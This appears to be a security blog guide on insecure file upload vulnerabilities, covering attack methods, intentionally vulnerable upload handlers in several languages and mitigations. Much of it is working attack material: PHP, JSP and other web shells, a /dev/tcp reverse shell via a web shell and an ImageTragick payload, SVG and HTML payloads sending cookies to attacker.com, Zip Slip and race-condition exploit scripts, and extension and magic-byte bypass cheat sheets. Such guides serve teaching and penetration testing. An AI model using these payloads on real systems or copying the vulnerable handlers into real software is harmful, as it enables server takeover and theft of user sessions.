Post

File Upload Vulnerabilities — A Complete Guide

A comprehensive guide to understanding, exploiting, and mitigating insecure file upload vulnerabilities in modern web applications.

File Upload Vulnerabilities — A Complete Guide

What are File Upload Vulnerabilities?

Insecure File Upload is a web security vulnerability that occurs when an application allows users to upload files without properly validating, sanitizing, or restricting them. Attackers can exploit this to upload malicious files that, when processed or accessed by the server, lead to Remote Code Execution (RCE), Cross-Site Scripting (XSS), Denial of Service (DoS), or complete system compromise.

In a typical file upload attack, the attacker might:

  • Upload a web shell to execute arbitrary commands on the server
  • Upload malicious scripts (PHP, ASP, JSP, Python) disguised as images or documents
  • Trigger XSS via uploaded SVG, HTML, or PDF files
  • Perform path traversal to overwrite critical system files
  • Cause DoS via zip bombs, oversized files, or resource-intensive processing
  • Chain with Local File Inclusion (LFI) or Server-Side Request Forgery (SSRF)

While not explicitly listed as a standalone item in the OWASP Top 10 (2021), insecure file upload consistently ranks among the highest-impact vulnerabilities in bug bounty programs and enterprise penetration tests due to its direct path to RCE.


Simple Analogy

Imagine a secure office building with a mailroom. Employees can drop off packages, but the receptionist never opens or scans them before placing them directly on the executive’s desk. A malicious actor could slip a listening device or a timed explosive into a seemingly harmless package. That is exactly what insecure file upload does — it trusts user-supplied files without verifying their contents or intent.


How Does File Upload Exploitation Work?

Visual Attack Flow

sequenceDiagram
    participant A as Attacker
    participant V as Vulnerable Web App
    participant S as Server Storage
    participant E as Execution Engine

    A->>V: Uploads malicious file (e.g., shell.php)
    V->>S: Saves file to web-accessible directory
    V-->>A: Returns file path/URL
    A->>S: Requests uploaded file via browser
    S->>E: Server processes/executes the file
    E-->>S: Executes malicious code
    S-->>A: Returns command output / reverse shell

The Attack Flow — Step by Step

StepAction
1Application provides an upload form or API endpoint
2Attacker crafts a malicious file (web shell, script, archive)
3Attacker bypasses client/server-side validation (extension, MIME, size)
4Server saves the file to a publicly accessible or executable directory
5Attacker accesses the file URL, triggering execution or rendering
6Attacker gains RCE, XSS, or system access

Architecture Diagram

graph LR
    A[Attacker] -->|Malicious File| B[Vulnerable Upload Endpoint]
    B -->|Saves to Webroot| C[/uploads/shell.php]
    C -->|HTTP Request| D[Web Server / PHP-FPM]
    D -->|Executes Code| E[OS Shell / Database]
    E -->|Reverse Shell / Data| A

    style A fill:#e74c3c,stroke:#c0392b,color:#fff
    style B fill:#f39c12,stroke:#e67e22,color:#fff
    style C fill:#9b59b6,stroke:#8e44ad,color:#fff
    style D fill:#3498db,stroke:#2980b9,color:#fff
    style E fill:#2ecc71,stroke:#27ae60,color:#fff

Types of File Upload Vulnerabilities

1. Unrestricted File Upload

The application performs no validation on the uploaded file. Attackers can upload any extension, MIME type, or content.

Example Request:

1
2
3
4
5
6
7
8
9
10
POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

The server saves shell.php in a web-accessible directory. Visiting https://vulnerable-app.com/uploads/shell.php?cmd=id executes OS commands.


2. Extension-Based Validation Bypass

The application checks the file extension but uses a blocklist or weak parsing logic.

Common Bypasses:

  • Double extensions: shell.php.jpg, shell.asp;.jpg
  • Case sensitivity: shell.PHP, shell.Aspx
  • Null bytes (older systems): shell.php%00.jpg
  • Alternative extensions: .phtml, .php5, .phar, .cgi

3. MIME Type / Content-Type Bypass

The server validates Content-Type headers but does not verify actual file content.

Example:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

The server sees image/jpeg and allows the upload, ignoring the actual PHP code inside.


4. Magic Bytes / File Signature Bypass

The server reads the first few bytes (file signature) to verify file type but does not check the rest of the file.

Example — Injecting PHP into a JPEG:

1
2
3
# Create a valid JPEG header + PHP payload
echo -ne '\xFF\xD8\xFF\xE0' > image.php
echo '<?php system($_GET["cmd"]); ?>' >> image.php

Upload image.php. The server sees FF D8 FF E0 (JPEG magic bytes) and allows it. Accessing the file executes PHP.


5. Archive-Based Attacks (Zip Slip / Zip Bomb)

Uploading .zip, .tar, .gz files that extract to arbitrary paths or cause resource exhaustion.

  • Zip Slip: ../../../etc/passwd inside archive overwrites system files
  • Zip Bomb: Highly compressed file expands to terabytes, causing DoS

6. Client-Side Validation Only

The application uses JavaScript to restrict uploads, but the server performs no checks.

1
2
3
4
<input type="file" accept=".jpg,.png" id="upload">
<script>
  // Easily bypassed by disabling JS or intercepting with Burp Suite
</script>

Where to Find File Upload Vulnerabilities

File upload flaws hide in many application features. Here are the most common places to look:

FeatureExample ParameterRisk Level
Profile Picture / Avataravatar=, profile_pic=🔴 High
Document Importdocument=, csv_file=🔴 High
Media Library / CMSmedia[], attachment=🔴 High
Chat / File Sharingfile=, attachment=🟡 Medium
API EndpointsPOST /api/upload, multipart/form-data🔴 High
Bulk Import Toolsimport_file=, backup.zip=🔴 High
Email Attachmentsattachment[], file_data=🟡 Medium
Image Processingresize=, convert= (ImageMagick)🔴 High

Common File Upload Attack Targets & Payloads

Web Shells by Language

LanguageExtensionPayload Example
PHP.php, .phtml, .php5<?php system($_GET['c']); ?>
ASP.NET.aspx, .ashx<%@ Page Language="C#" %><% Response.Write(new System.IO.StreamReader(Request.QueryString["f"]).ReadToEnd()); %>
JSP.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Python.py, .cgi#!/usr/bin/env python\nimport os; os.system(os.environ.get("CMD"))
Node.js.jsrequire('child_process').exec(req.query.cmd, (e, o) => res.send(o))

Non-Executable Payloads

TypeExtensionImpact
SVG XSS.svg<svg onload="alert(document.cookie)">
HTML Injection.html<script>fetch('https://attacker.com/?c='+document.cookie)</script>
PDF SSRF.pdfEmbedded external links or JavaScript
EXE / Binary.exe, .shDownloaded and executed by admin or users
Config Files.htaccess, .user.iniChange server behavior to execute .jpg as PHP

.htaccess uploads are extremely dangerous. A single misconfigured Apache upload directory can turn every .jpg into executable PHP.


Real-World File Upload Exploitation

Scenario 1: Basic PHP Web Shell Upload

Step 1 — Upload the shell:

1
2
3
4
5
6
7
8
9
10
POST /upload.php HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary--

Step 2 — Execute commands:

1
2
3
4
5
6
curl "https://vulnerable-app.com/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "https://vulnerable-app.com/uploads/shell.php?cmd=cat+/etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Step 3 — Upgrade to a reverse shell:

1
2
3
4
5
# On attacker machine — start listener
nc -lvnp 4444

# Via the web shell
curl "https://vulnerable-app.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'"

Scenario 2: SVG XSS via Profile Picture

Many apps accept SVGs for avatars but do not sanitize their contents.

Payload — xss.svg:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert(document.domain);
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <rect width="100%" height="100%" fill="red" />
</svg>

Impact: When an admin views the profile page, the script executes in their browser, enabling session hijacking, CSRF, or credential theft.


Scenario 3: Bypassing Extension Filters with .htaccess

If .php is blocked but .jpg and .htaccess uploads are allowed:

Step 1 — Upload .htaccess:

1
AddType application/x-httpd-php .jpg

Step 2 — Upload shell.jpg:

1
<?php system($_GET['cmd']); ?>

Step 3 — Access and execute:

1
2
curl "https://vulnerable-app.com/uploads/shell.jpg?cmd=whoami"
# www-data

Scenario 4: Bypassing Magic Bytes Validation

1
2
3
4
5
6
7
8
9
10
11
# Create a GIF with embedded PHP shell
echo -ne 'GIF89a' > payload.php
echo '<?php phpinfo(); system($_GET["cmd"]); ?>' >> payload.php

# Verify file header
xxd payload.php | head -2
# 00000000: 4749 4638 3961 3c3f 7068 7020 7068 7069  GIF89a<?php phpi

# Upload payload.php
# Server reads first 6 bytes, sees "GIF89a", validates as GIF, allows upload
# Accessing /uploads/payload.php executes PHP

Scenario 5: Zip Slip — Path Traversal via Archive

Malicious ZIP structure:

1
2
3
archive.zip
├── ../../../var/www/html/shell.php
└── safe_image.jpg

Create the malicious archive:

1
2
3
4
5
6
7
8
9
10
11
12
# Method 1: Using zip with traversal
mkdir exploit
echo '<?php system($_GET["c"]); ?>' > exploit/shell.php
cd exploit
zip -r ../archive.zip ../../../var/www/html/shell.php

# Method 2: Using Python
python3 -c "
import zipfile
with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.write('shell.php', '../../../var/www/html/shell.php')
"

Automate Zip Slip testing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
"""
Zip Slip PoC Generator
Use only on authorized targets.
"""

import zipfile
import io

def create_zipslip(target_path, payload_content):
    """Create a malicious zip that extracts to target_path."""
    buffer = io.BytesIO()
    with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(target_path, payload_content)
    buffer.seek(0)
    return buffer.read()

# Example usage
payload = "<?php system($_GET['c']); ?>"
target = "../../../var/www/html/pwned.php"
zip_data = create_zipslip(target, payload)

with open("exploit.zip", "wb") as f:
    f.write(zip_data)

print(f"[+] Created exploit.zip targeting: {target}")
print(f"[+] Upload and access: /pwned.php?c=id")

Scenario 6: ImageMagick RCE — CVE-2016-3714 (ImageTragick)

Upload a malicious image that triggers command execution during server-side processing.

Payload — exploit.mvg:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/10.10.14.5/4444 0>&1")'
pop graphic-context

Alternative payload formats:

1
2
3
4
5
6
7
8
9
10
# exploit.svg
<image authenticate='ff" `echo $(id)> /tmp/pwned`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="msl:exploit.svg" height="100" width="100"/>
  </svg>
</image>

Test if the server is vulnerable:

1
2
3
4
5
6
7
8
9
# Check ImageMagick version
convert --version

# Test via PoC
convert exploit.mvg output.png

# If vulnerable, you will see command output
cat /tmp/pwned
# uid=33(www-data) gid=33(www-data)

Scenario 7: Race Condition File Upload

Upload a file, then immediately request it before the server renames or deletes it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
"""
Race Condition File Upload PoC
Use only on authorized targets.
"""

import requests
import threading
import time

TARGET_UPLOAD = "https://vulnerable-app.com/upload"
TARGET_ACCESS = "https://vulnerable-app.com/uploads/shell.php"
SHELL_PAYLOAD = "<?php system($_GET['c']); ?>"
FOUND = threading.Event()

def upload_shell():
    """Continuously upload the shell."""
    while not FOUND.is_set():
        try:
            requests.post(
                TARGET_UPLOAD,
                files={"file": ("shell.php", SHELL_PAYLOAD, "image/jpeg")},
                timeout=5
            )
        except Exception:
            pass

def access_shell():
    """Continuously try to access the shell before it gets renamed."""
    while not FOUND.is_set():
        try:
            r = requests.get(f"{TARGET_ACCESS}?c=id", timeout=2)
            if r.status_code == 200 and "uid=" in r.text:
                print(f"[+] Race condition won!")
                print(f"[+] Output: {r.text.strip()}")
                FOUND.set()
        except Exception:
            pass
        time.sleep(0.01)

print("[*] Starting race condition attack...")
threads = []
for _ in range(5):
    threads.append(threading.Thread(target=upload_shell))
    threads.append(threading.Thread(target=access_shell))

for t in threads:
    t.start()
for t in threads:
    t.join()

File Upload Bypass Techniques

When basic uploads are blocked by WAFs or input validation, attackers use these techniques:

1. Extension Manipulation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Double extensions
shell.php.jpg
shell.php.png
shell.php.gif

# Semicolon tricks (IIS)
shell.asp;.jpg
shell.php;.png

# Null byte injection (older PHP)
shell.php%00.jpg
shell.php\x00.jpg

# Case variation
shell.PHP
shell.pHp
shell.PhP
shell.Php

# Alternative PHP extensions
shell.php5
shell.php4
shell.php3
shell.phtml
shell.phar
shell.shtml

# Alternative ASP extensions
shell.asp
shell.aspx
shell.asa
shell.cer
shell.cdx

2. MIME Type Spoofing

1
2
3
4
5
6
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
Content-Type: text/plain
Content-Type: multipart/form-data

3. Magic Byte Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Prepend PNG magic bytes to PHP shell
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > shell.php
echo '<?php system($_GET["c"]); ?>' >> shell.php

# Prepend GIF magic bytes
printf 'GIF89a' > shell.php
echo '<?php system($_GET["c"]); ?>' >> shell.php

# Prepend JPEG magic bytes
printf '\xFF\xD8\xFF\xE0' > shell.php
echo '<?php system($_GET["c"]); ?>' >> shell.php

# Prepend PDF magic bytes
printf '%%PDF-' > shell.php
echo '<?php system($_GET["c"]); ?>' >> shell.php

# Verify magic bytes were added
xxd shell.php | head -3

4. Double Encoding & Null Bytes

1
2
3
4
5
6
shell.php%00.jpg
shell.php%2500.jpg
shell.php%252500.jpg
shell.php%0a.jpg
shell.php%0d.jpg
shell.php%09.jpg

5. Apache .htaccess Override

1
2
3
4
5
6
7
8
9
10
11
12
13
# Make the server execute .jpg files as PHP
AddType application/x-httpd-php .jpg

# Alternative directive
AddHandler application/x-httpd-php .jpg

# Use FilesMatch to target specific files
<FilesMatch "\.jpg$">
  SetHandler application/x-httpd-php
</FilesMatch>

# php7 handler
AddHandler application/x-httpd-php7 .png

6. PHP .user.ini Override

1
2
3
; Upload .user.ini to the uploads directory
; Then upload shell.jpg — it will be auto-prepended to every PHP request in that dir
auto_prepend_file = shell.jpg

7. Nginx Misconfiguration Bypass

1
2
3
4
5
6
7
8
9
# If Nginx has cgi.fix_pathinfo=1 (common misconfiguration)
/uploads/image.jpg/.php
/uploads/image.jpg/shell.php

# Null byte (older versions)
/uploads/image.jpg%00.php

# Trailing slash
/uploads/shell.php/

8. Client-Side Bypass

1
2
3
4
5
6
7
8
9
10
11
# Method 1: Use curl directly, bypassing browser JS
curl -X POST "https://app.com/upload" \
  -F "file=@shell.php;type=image/jpeg" \
  -H "Cookie: session=abc123"

# Method 2: Change file input via browser console
# document.getElementById('upload').removeAttribute('accept')

# Method 3: Intercept with Burp and change filename
# Original:  filename="image.jpg"
# Modified:  filename="shell.php"

9. Polyglot Files (Valid Image + Valid PHP)

1
2
3
4
5
6
7
8
9
# Create a real valid JPEG that also contains PHP
# The file passes image validation AND executes as PHP

# Using exiftool to embed PHP in JPEG metadata
exiftool -Comment='<?php system($_GET["c"]); ?>' valid_image.jpg
cp valid_image.jpg polyglot.php

# Upload polyglot.php — it passes image checks and executes PHP
curl "https://app.com/uploads/polyglot.php?c=id"

Complete Bypass Cheat Sheet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Extension bypasses
shell.php
shell.php.jpg
shell.php.png
shell.php;.jpg
shell.php%00.jpg
shell.PHP
shell.pHp
shell.php5
shell.php4
shell.php3
shell.phtml
shell.phar
shell.shtml
shell.cgi

# Config file uploads
.htaccess
.user.ini
web.config

# MIME type spoofing
image/jpeg
image/png
image/gif
image/webp
application/octet-stream

# Magic bytes (hex)
JPEG:  FF D8 FF E0
PNG:   89 50 4E 47 0D 0A 1A 0A
GIF:   47 49 46 38 39 61
PDF:   25 50 44 46 2D

# SVG XSS payloads
<svg onload="alert(1)">
<svg><script>alert(document.domain)</script></svg>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

Vulnerable Code Examples

Python (Flask) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, request, send_from_directory
import os

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route('/upload', methods=['POST'])
def upload_file():
    """
    VULNERABLE: No extension, MIME, or content validation.
    Uses the original user-supplied filename directly.
    """
    if 'file' not in request.files:
        return "No file part", 400

    file = request.files['file']
    if file.filename == '':
        return "No selected file", 400

    # Directly saves user-supplied filename — VULNERABLE!
    # Attacker uploads shell.php and it gets saved as shell.php
    file.save(os.path.join(UPLOAD_FOLDER, file.filename))
    return f"File uploaded: {file.filename}", 200

@app.route('/uploads/<filename>')
def uploaded_file(filename):
    # Serves files from the upload directory — VULNERABLE!
    return send_from_directory(UPLOAD_FOLDER, filename)

@app.route('/api/profile', methods=['POST'])
def update_profile():
    """
    VULNERABLE: No content-type or extension validation on avatar.
    """
    avatar = request.files.get('avatar')
    if avatar:
        # Only checks Content-Type header — easily spoofed!
        if avatar.content_type in ['image/jpeg', 'image/png']:
            # Still saves with original name — VULNERABLE!
            avatar.save(os.path.join('avatars/', avatar.filename))
            return {"message": "Avatar updated"}, 200
    return {"error": "No avatar"}, 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Node.js (Express + Multer) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const express = require('express');
const multer = require('multer');
const path = require('path');
const app = express();

app.use(express.json());

// VULNERABLE: No file type filtering whatsoever
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, 'uploads/');
  },
  // Uses original filename — VULNERABLE!
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ storage });

// VULNERABLE: No validation on file type or content
app.post('/upload', upload.single('file'), (req, res) => {
  res.json({
    message: 'File uploaded',
    path: `/uploads/${req.file.originalname}`
  });
});

// VULNERABLE: Serves uploads as static files — executes scripts!
app.use('/uploads', express.static('uploads'));

// VULNERABLE: Only checks Content-Type header
app.post('/api/avatar', upload.single('avatar'), (req, res) => {
  const allowed = ['image/jpeg', 'image/png', 'image/gif'];
  if (!allowed.includes(req.file.mimetype)) {
    return res.status(403).json({ error: 'Invalid file type' });
  }
  // mimetype is from the request header — easily spoofed!
  res.json({ message: 'Avatar updated', path: `/uploads/${req.file.originalname}` });
});

app.listen(3000, () => console.log('Server running on port 3000'));

Java (Spring Boot) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.example.upload;

import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import java.io.*;
import java.nio.file.*;

@RestController
@RequestMapping("/api")
public class UploadController {

    private static final String UPLOAD_DIR = "uploads/";

    /**
     * VULNERABLE: No validation on file extension, MIME type, or content.
     * Directly uses original filename from user input.
     */
    @PostMapping("/upload")
    public String uploadFile(@RequestParam("file") MultipartFile file) throws IOException {
        if (file.isEmpty()) {
            return "File is empty";
        }

        // getOriginalFilename() returns attacker-controlled value — VULNERABLE!
        String fileName = file.getOriginalFilename();
        Path path = Paths.get(UPLOAD_DIR + fileName);

        Files.createDirectories(path.getParent());
        // Saves shell.php directly to disk — VULNERABLE!
        file.transferTo(path);

        return "Uploaded: " + fileName;
    }

    /**
     * VULNERABLE: Weak content-type check, original filename kept.
     */
    @PostMapping("/avatar")
    public String uploadAvatar(@RequestParam("avatar") MultipartFile file) throws IOException {
        String contentType = file.getContentType();

        // Only checks Content-Type header — VULNERABLE! (easily spoofed)
        if (contentType == null || !contentType.startsWith("image/")) {
            return "Only images are allowed";
        }

        // Still uses original filename — VULNERABLE!
        String fileName = file.getOriginalFilename();
        file.transferTo(Paths.get(UPLOAD_DIR + fileName));
        return "Avatar uploaded: " + fileName;
    }
}

PHP — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/**
 * VULNERABLE: Weak extension check, no MIME or magic byte validation.
 * Relies on blocklist which is trivially bypassed.
 */

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $targetDir  = "uploads/";
    $fileName   = basename($_FILES["file"]["name"]);  // User-controlled — VULNERABLE!
    $targetFile = $targetDir . $fileName;

    // VULNERABLE: Blocklist approach — misses phtml, php5, phar, etc.
    $blockedExtensions = ['php', 'asp', 'aspx', 'jsp'];
    $ext = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));

    if (in_array($ext, $blockedExtensions)) {
        echo json_encode(["error" => "File type not allowed"]);
        exit;
    }

    // VULNERABLE: No MIME validation, no magic byte check, no renaming
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) {
        echo json_encode(["success" => true, "path" => $targetFile]);
    } else {
        echo json_encode(["error" => "Upload failed"]);
    }
}

// VULNERABLE: Using file_get_contents to check type (bypassable)
function weakTypeCheck($tmpFile) {
    $imageInfo = getimagesize($tmpFile);
    // getimagesize can be fooled with magic bytes
    return $imageInfo !== false;
}
?>

Go — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
)

func uploadHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 10 MB max
	r.ParseMultipartForm(10 << 20)
	file, header, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Error retrieving file", http.StatusBadRequest)
		return
	}
	defer file.Close()

	// VULNERABLE: Uses original filename without any validation
	// Attacker sets filename to "shell.php" and it gets saved as-is
	dst, err := os.Create(filepath.Join("uploads", header.Filename))
	if err != nil {
		http.Error(w, "Error saving file", http.StatusInternalServerError)
		return
	}
	defer dst.Close()

	io.Copy(dst, file)

	// VULNERABLE: Returns the full path to the attacker
	fmt.Fprintf(w, `{"path": "/uploads/%s"}`, header.Filename)
}

func main() {
	// VULNERABLE: Serves uploads directory as static files
	http.Handle("/uploads/", http.StripPrefix("/uploads/", http.FileServer(http.Dir("uploads"))))
	http.HandleFunc("/upload", uploadHandler)
	fmt.Println("Server running on :8080")
	http.ListenAndServe(":8080", nil)
}

Mitigation & Prevention

1. Strict Allowlist Validation — Extension + MIME + Magic Bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import os
import uuid
import magic
from flask import Flask, request, abort, jsonify

app = Flask(__name__)

UPLOAD_FOLDER = '/var/app/uploads/secure/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
ALLOWED_MIME_TYPES = {
    'image/png',
    'image/jpeg',
    'image/gif',
    'application/pdf'
}
MAGIC_SIGNATURES = {
    'image/png':      b'\x89PNG\r\n\x1a\n',
    'image/jpeg':     b'\xff\xd8\xff',
    'image/gif':      b'GIF89a',
    'application/pdf': b'%PDF-',
}

def allowed_extension(filename):
    return (
        '.' in filename and
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
    )

def validate_mime_type(file_data, claimed_mime):
    """Check that real file content matches claimed MIME type."""
    # Use python-magic to detect actual content type
    detected_mime = magic.from_buffer(file_data[:2048], mime=True)
    return detected_mime == claimed_mime and claimed_mime in ALLOWED_MIME_TYPES

def validate_magic_bytes(file_data, mime_type):
    """Check file signature (magic bytes) against expected value."""
    expected = MAGIC_SIGNATURES.get(mime_type)
    if expected is None:
        return False
    return file_data[:len(expected)] == expected

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({"error": "No file provided"}), 400

    file = request.files['file']
    if file.filename == '':
        return jsonify({"error": "No filename"}), 400

    # 1. Validate extension against allowlist
    if not allowed_extension(file.filename):
        return jsonify({"error": "File extension not allowed"}), 403

    # 2. Read file data for content inspection
    file_data = file.read(5 * 1024 * 1024 + 1)  # Read up to 5MB+1
    if len(file_data) > 5 * 1024 * 1024:
        return jsonify({"error": "File too large (max 5MB)"}), 413
    file.seek(0)

    # 3. Validate claimed MIME type from headers
    claimed_mime = file.content_type
    if claimed_mime not in ALLOWED_MIME_TYPES:
        return jsonify({"error": "MIME type not allowed"}), 403

    # 4. Validate actual content matches MIME type (magic bytes)
    if not validate_magic_bytes(file_data, claimed_mime):
        return jsonify({"error": "File content does not match declared type"}), 403

    # 5. Double-check with python-magic library
    if not validate_mime_type(file_data, claimed_mime):
        return jsonify({"error": "File content validation failed"}), 403

    # 6. Generate a cryptographically random filename
    ext = file.filename.rsplit('.', 1)[1].lower()
    safe_name = f"{uuid.uuid4().hex}.{ext}"

    # 7. Save to non-webroot directory
    os.makedirs(UPLOAD_FOLDER, exist_ok=True)
    save_path = os.path.join(UPLOAD_FOLDER, safe_name)

    with open(save_path, 'wb') as f:
        f.write(file_data)

    # 8. Set restrictive file permissions
    os.chmod(save_path, 0o644)

    return jsonify({"message": "Upload successful", "id": safe_name}), 200

2. Store Files Outside Webroot + Serve via Controlled Route

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import mimetypes
from flask import Flask, abort, send_file

app = Flask(__name__)

# Outside webroot — not directly accessible via URL
SECURE_UPLOAD_DIR = '/var/app/private_uploads/'

ALLOWED_SERVE_EXTENSIONS = {'.png', '.jpg', '.jpeg', '.gif', '.pdf'}

@app.route('/files/<file_id>')
def serve_file(file_id):
    """
    Serve uploaded files through a controlled route.
    Never expose the real filesystem path.
    """
    # Sanitize file_id to prevent path traversal
    if '..' in file_id or '/' in file_id or '\\' in file_id:
        abort(400)

    # Only allow UUID-style filenames
    import re
    if not re.match(r'^[a-f0-9]{32}\.[a-z]{2,4}$', file_id):
        abort(400)

    file_path = os.path.join(SECURE_UPLOAD_DIR, file_id)

    # Check file exists
    if not os.path.isfile(file_path):
        abort(404)

    # Validate extension before serving
    _, ext = os.path.splitext(file_id)
    if ext.lower() not in ALLOWED_SERVE_EXTENSIONS:
        abort(403)

    # Force download — prevent browser from rendering/executing
    return send_file(
        file_path,
        as_attachment=True,
        download_name=file_id
    )

3. Disable Script Execution in Upload Directories

Apache — .htaccess in /uploads/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Deny access to all script types
<FilesMatch "\.(php|php3|php4|php5|php7|phtml|phar|asp|aspx|jsp|cgi|sh|py|pl|rb)$">
    Order Allow,Deny
    Deny from all
</FilesMatch>

# Disable PHP engine in this directory
php_flag engine off

# Remove script handlers
RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .phar
RemoveType .php .phtml .php3 .php4 .php5 .php7 .phar

# Force all files to download
<FilesMatch ".*">
    Header set Content-Disposition "attachment"
</FilesMatch>

Nginx — Disable execution in upload dir:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
server {
    listen 80;
    server_name vulnerable-app.com;

    # Upload directory — serve as static only, block scripts
    location /uploads/ {
        # Block PHP and other script execution
        location ~* \.(php|php3|php4|php5|php7|phtml|phar|asp|aspx|jsp|cgi|sh|py)$ {
            deny all;
            return 403;
        }

        # Force download for all files
        add_header Content-Disposition "attachment";

        # Set X-Content-Type-Options to prevent MIME sniffing
        add_header X-Content-Type-Options "nosniff";

        try_files $uri =404;
    }
}

4. File Size Limits & Rate Limiting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import os

app = Flask(__name__)

# Global max content length
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024  # 5 MB

# Rate limiting
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/api/upload', methods=['POST'])
@limiter.limit("10 per minute")
def upload_file():
    if 'file' not in request.files:
        return jsonify({"error": "No file"}), 400

    file = request.files['file']

    # Additional manual size check
    file.seek(0, os.SEEK_END)
    file_size = file.tell()
    file.seek(0)

    if file_size > 5 * 1024 * 1024:
        return jsonify({"error": "File too large"}), 413

    if file_size == 0:
        return jsonify({"error": "Empty file"}), 400

    # ... rest of validation
